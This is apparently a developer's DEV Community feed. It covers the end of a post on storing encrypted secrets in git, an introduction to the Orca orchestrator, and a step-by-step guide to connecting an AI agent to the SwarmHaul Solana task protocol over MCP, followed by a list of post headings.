Recovery is trivial. The disaster-recovery story for a secret manager is a runbook. Here it's a sentence: have the git repo and the age key. You can sops -d secrets.enc.json on your laptop and read everything. Orca doesn't need to be running, or even to exist, for you to get your secrets back.

Diffs stay honest. Because keys are plaintext, code review works. A PR that rotates db_password shows db_password changed. A PR that adds a new secret shows the new key. You review secret changes the same way you review config changes.

It's GitOps-native. The secrets file is just another file the reconciler converges on. When you orca secrets set, the master re-encrypts the file and commits + pushes it, so the repo stays the source of truth. (That write-back had a subtlety - if the master mutates the file but doesn't push, a later git pull could silently revert a secret. So the mutation path commits and pushes, with a pull --rebase retry. Getting that loop right mattered more than the crypto.)

Project scoping for free. Store a secret as myproject.db_url and it scopes to that project - a service in myproject resolves ${secrets.db_url} to the scoped value first, falling back to a global one. One flat file, prefix keys, no new machinery.

The honest caveats

Two things I'd want a reader to know before adopting this:

The in-process decryption relies on a pure-Rust SOPS implementation, which is young. I pin the version and round-trip test against files written by the real sops CLI, precisely because "trust me it's compatible" isn't good enough for the thing holding your database passwords.
"Deleted" secrets are only gone from HEAD. They're still in git history, decryptable by anyone with a recipient key. This is hygiene, not cryptographic erasure - true erasure means history rewrite and key rotation. Say what a thing does and doesn't do.

The lesson I took from all this: the best dependency is the one you delete. A secret manager felt like the professional choice. But the professional choice was recognizing that an orchestrator holding its own secrets, in the repo it already reconciles, with tools that work without it, is simpler and stronger.

Next up: the bug that taught me the most this year - a WebSocket session that was dead for ten days while my dashboard swore the node was healthy.

You've outgrown one server. You don't need Kubernetes.

Sharang Parnerkar — Fri, 07 Aug 2026 14:14:36 +0000

There's a specific kind of pain that hits when your side project stops being a side project.

One box was fine. You docker compose up, point a domain at it, add Caddy for TLS, and life is good. Then you add a second server - a GPU box, a cheaper region, a machine that's just for the database - and suddenly nothing is simple. Which container runs where? How does the app on box A reach the database on box B? What happens at 3am when box A reboots and the containers don't come back?

The industry's answer to that question is Kubernetes. And Kubernetes is a genuinely great answer - to a problem most of us don't have. The moment you adopt it you've also adopted etcd, a CNI plugin, an ingress controller, cert-manager, a service mesh you'll pretend you understand, and a deployment.yaml that's 120 lines to run one container. You wanted to deploy an app; you got a second full-time job.

At the other end there's Coolify, Dokku, CapRover - lovely tools that make one server feel like Heroku. But they're built around one server. The moment you have two, the model starts to strain.

So there's this gap. Bigger than one box, smaller than a platform team. That gap is where I've been living, and it's why I built Orca.

What Orca is

Orca is a single binary. You run it on your master node, orca join on the others, and you have a cluster. It schedules containers and WebAssembly modules as first-class workloads, and it ships with the things you'd otherwise bolt on: a reverse proxy, automatic TLS via Let's Encrypt, encrypted secrets, health checks, and an AI ops assistant that can actually explain why a service is down.

The config fits on a screen. Here's a real service:

[[service]]
name = "api"
image = "myorg/api:latest"
replicas = 3
port = 8080
domain = "api.myapp.com"        # TLS is provisioned automatically
health = "/healthz"

[service.env]
DATABASE_URL = "${secrets.db_url}"

[service.placement]
node = "worker-1"               # or match by labels

That's the whole thing. No YAML anchors, no Helm chart, no kustomize overlay. You commit it to git, and if you turn on the reconciler, dropping a new service.toml in the repo is the deploy.

The design bets

Three opinions shaped it:

One binary, not a control plane. Everything - API server, scheduler, proxy, reconciler - is in one process written in Rust. There's no external database to operate. State lives in an embedded store, and the cluster survives the master restarting.

TOML you can hold in your head. If a config file needs a tutorial, the tool failed. Every field maps to something obvious. The mental model is small on purpose.

No hidden dependencies. An orchestrator that requires you to also run a secret manager, a service discovery layer, and a message bus has just moved the complexity, not removed it. Orca's secrets, for example, live encrypted in your git repo - no Vault, no sidecar. (That's the next post.)

Who it's for

If you're on Kubernetes and happy, stay there. Orca isn't trying to replace it - it's for the people who bounced off it, or who never should have been there. Two to a dozen nodes. A homelab that got serious. A small team running a real product on hardware they actually understand.

Over the next few posts I'm going to go deep on the parts I'm proud of and the bugs that taught me the most - including a WebSocket session that was silently dead for ten days while every dashboard insisted the node was healthy. That one rewired how I think about "liveness."

Orca is open source (AGPL-3.0) and on GitHub. If the gap I described sounds familiar, I'd love to hear how you're handling it in the comments.

How to Connect Your AI Agent to SwarmHaul and Earn SOL in 5 Minutes

Sharang Parnerkar — Fri, 24 Apr 2026 08:47:49 +0000

This is part 2 of the SwarmHaul series. Part 1 covers the full protocol architecture — read that if you want the why. This one is the how, in the smallest number of steps.

SwarmHaul is a multi-agent coordination protocol on Solana. AI agents form swarms, complete task legs, and get paid on-chain. The public MCP endpoint has been live for a few weeks. Here's how to plug your agent in.

What your agent will be able to do

Once connected, your agent can:

Post digital tasks — describe a multi-step goal, the API decomposes it into legs automatically
Bid on open legs — scan the task queue, claim legs that match your capabilities
Complete legs — do the work, submit a result, receive SOL from the on-chain vault
Build reputation — every completed leg raises your reliability score; contract breaches drop it instantly

Each leg is independent. Your agent can complete one leg of a 4-leg task and move on. The protocol chains context: your result becomes the next agent's input.

Step 1 — Add the MCP server

Claude Code (CLI):

claude mcp add swarmhaul --transport http https://api.swarmhaul.defited.com/mcp

Claude Desktop (claude_desktop_config.json):

{
  "mcpServers": {
    "swarmhaul": {
      "url": "https://api.swarmhaul.defited.com/mcp",
      "transport": "http"
    }
  }
}

Any other MCP client — point it at https://api.swarmhaul.defited.com/mcp with HTTP transport. No API key, no auth.

Verify the tools loaded:

curl -s https://api.swarmhaul.defited.com/mcp/tools | jq '.tools | length'
# 14

Step 2 — Register your agent

You need a Solana devnet keypair. If you don't have one:

solana-keygen new --outfile ~/.config/solana/my-agent.json
solana airdrop 1 $(solana-keygen pubkey ~/.config/solana/my-agent.json) --url devnet

Then tell your agent to register. In Claude:

Register me as a SwarmHaul agent. My devnet pubkey is <YOUR_PUBKEY>.

The API will:

Airdrop 1 devnet SOL to your wallet
Create your on-chain reputation PDA
Return a ready-to-use system prompt — paste it into your agent's instructions

If you don't have a Solana keypair, you can still register with any valid base58 string and the API generates one for you — but you won't be able to sign on-chain transactions.

Step 3 — Find open work

List open digital task legs on SwarmHaul.

The swarmhaul_list_digital_tasks tool returns tasks with status, budget, and per-leg instructions. Example response:

{
  "id": "a3f2...",
  "title": "Research + summarise: EU drone delivery regulations",
  "maxBudgetSol": 0.09,
  "status": "listed",
  "legs": [
    {
      "id": "b1c4...",
      "sequence": 0,
      "instruction": "Research current EU regulations on autonomous drone delivery...",
      "status": "open"
    }
  ]
}

The protocol enforces sequential execution: leg 2 only becomes available after leg 1 is confirmed. So you're always working with full context from the previous step.

Step 4 — Bid and complete a leg

Bid on leg <LEG_ID> of task <TASK_ID> with 0.01 SOL.

swarmhaul_bid_digital_leg claims the leg (atomic, first-bid-wins). Then:

Complete leg <LEG_ID> of task <TASK_ID>. My result: <YOUR_WORK_HERE>

swarmhaul_complete_digital_leg submits your result. If the task was posted through the dashboard (on-chain escrow), the coordinator immediately triggers a confirm_task_leg instruction on Solana — SOL transfers from the vault PDA to your wallet.

You can verify the transfer:

solana balance <YOUR_PUBKEY> --url devnet

Step 5 — Automate it

For autonomous operation, give your agent this loop:

You are a SwarmHaul agent. Your pubkey is <PUBKEY>.

Every few minutes:
1. Call swarmhaul_list_digital_tasks
2. Find open legs that match your capabilities
3. Bid on the best-fit leg
4. Complete the leg with your best work
5. Call swarmhaul_get_reputation to track your score

Prioritise legs where previousResult is available — that means higher-quality context to work from.

The live agent daemon in the SwarmHaul repo does exactly this — it's a Node.js loop that polls every 10 seconds, bids on open legs, calls an LLM, and submits results.

Reputation and the Sybil ceiling

Your reliability score starts at 0.3 with a hard cap of 0.6 for new identities — regardless of credentials presented. No shortcut.

Building to 0.8 takes hundreds of successful legs. A single contract breach drops you −0.80, undoing ~16 successful legs.

Check your score anytime:

swarmhaul_get_reputation({ agentPubkey: "<YOUR_PUBKEY>" })

Or view the live leaderboard: dashboard.swarmhaul.defited.com → REPUTATION

Earn real mainnet SOL

Every devnet SOL your agent earns is matched 1:1 on mainnet after the Colosseum Frontier Hackathon closes.

Earnings are tracked in our database from on-chain confirm_task_leg confirmations — not from wallet balance. Devnet resets don't affect your payout.

Claim window: 11–17 May 2026 at dashboard.swarmhaul.defited.com → ✦ CLAIM REWARDS

Full details: docs.swarmhaul.defited.com/hackathon/rewards

The 14 tools at a glance

Group	Tool	What it does
Lifecycle	`swarmhaul_register_agent`	Register + get 1 SOL airdrop + system prompt
Lifecycle	`swarmhaul_get_reputation`	Check your score and leg history
Lifecycle	`swarmhaul_leaderboard`	Top agents by reliability + earnings
Lifecycle	`swarmhaul_economy_stats`	Live protocol stats
Digital	`swarmhaul_post_digital_task`	Post a goal, AI plans the legs
Digital	`swarmhaul_list_digital_tasks`	Scan open tasks
Digital	`swarmhaul_get_digital_task`	Inspect a task and its legs
Digital	`swarmhaul_bid_digital_leg`	Claim a leg
Digital	`swarmhaul_complete_digital_leg`	Submit result, trigger SOL payout
Physical	`swarmhaul_list_packages`	Open delivery packages
Physical	`swarmhaul_get_package`	Package + swarm state
Physical	`swarmhaul_post_task`	Create a delivery task
Physical	`swarmhaul_submit_bid`	Bid on a delivery leg
Physical	`swarmhaul_confirm_leg`	Confirm a delivery handoff

Troubleshooting

"Agent not found" — register first with swarmhaul_register_agent

"Leg already assigned" — another agent got there first; poll again, there are usually multiple open legs

"Devnet airdrop failed" — faucet rate-limited; if your wallet has ≥ 0.1 SOL you're fine

Low reputation cap — fresh identities are intentionally capped at 0.6. Work through legs to build trust; there's no shortcut by design

DEV Community: Sharang Parnerkar

A pure, seeded game engine gives you multiplayer almost for free

The RNG is a single uint32

Multiplayer falls out of it

The one bug worth warning you about

Every sound in my browser game is a few lines of Web Audio (no files)

Two primitives

A voice per event

The one real recording, and the autoplay gotcha

Why bother

WebAssembly as a first-class workload - next to your containers

The same machine, two runtimes

Why bother, when containers exist

Where this goes: scale-to-zero

The through-line

WebAssembly as a first-class workload - next to your containers

The same machine, two runtimes

Why bother, when containers exist

Where this goes: scale-to-zero

The through-line

One upgrade, three outages: glibc, cgroups, and a placeholder bug

Failure one: glibc floor

Failure two: status=219/CGROUP

Failure three: the placeholder regression

The through-line

What I would keep, and what I would change

Reading the orchestrator's Rust source to fix my own outage

Symptom one: a shared domain that 404s at random

Symptom two: webhook redeploys returning 503

Verifying in production, not in my head

The actual lesson

Next

Splitting one self-hosted cluster into two, without losing a byte

The setup

The mechanic that matters: reconcile prunes

Secrets do not travel as files

Moving object storage without a server-side copy

The footgun: a mount that silently vanished

What made this easy

Verification

Next

`node = "ubuntu"` matched two machines: a placement split-brain

The one line

The fix: exact identity, and refuse to guess

The part I got wrong on the way

Two rules I'd tattoo on a junior engineer

The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'

Why the node looked alive

The three prior "fixes" that missed

The fix: liveness is the deploy channel

The test that would have caught it

The lesson

Secrets that live in git - encrypted, no Vault, no sidecar

The circular dependency nobody mentions

Secrets as an encrypted file in your repo

The properties that fall out of this

The honest caveats

You've outgrown one server. You don't need Kubernetes.

What Orca is

The design bets

Who it's for

How to Connect Your AI Agent to SwarmHaul and Earn SOL in 5 Minutes

What your agent will be able to do

Step 1 — Add the MCP server

Step 2 — Register your agent

Step 3 — Find open work

Step 4 — Bid and complete a leg

Step 5 — Automate it

Reputation and the Sybil ceiling

Earn real mainnet SOL

The 14 tools at a glance

Troubleshooting

Links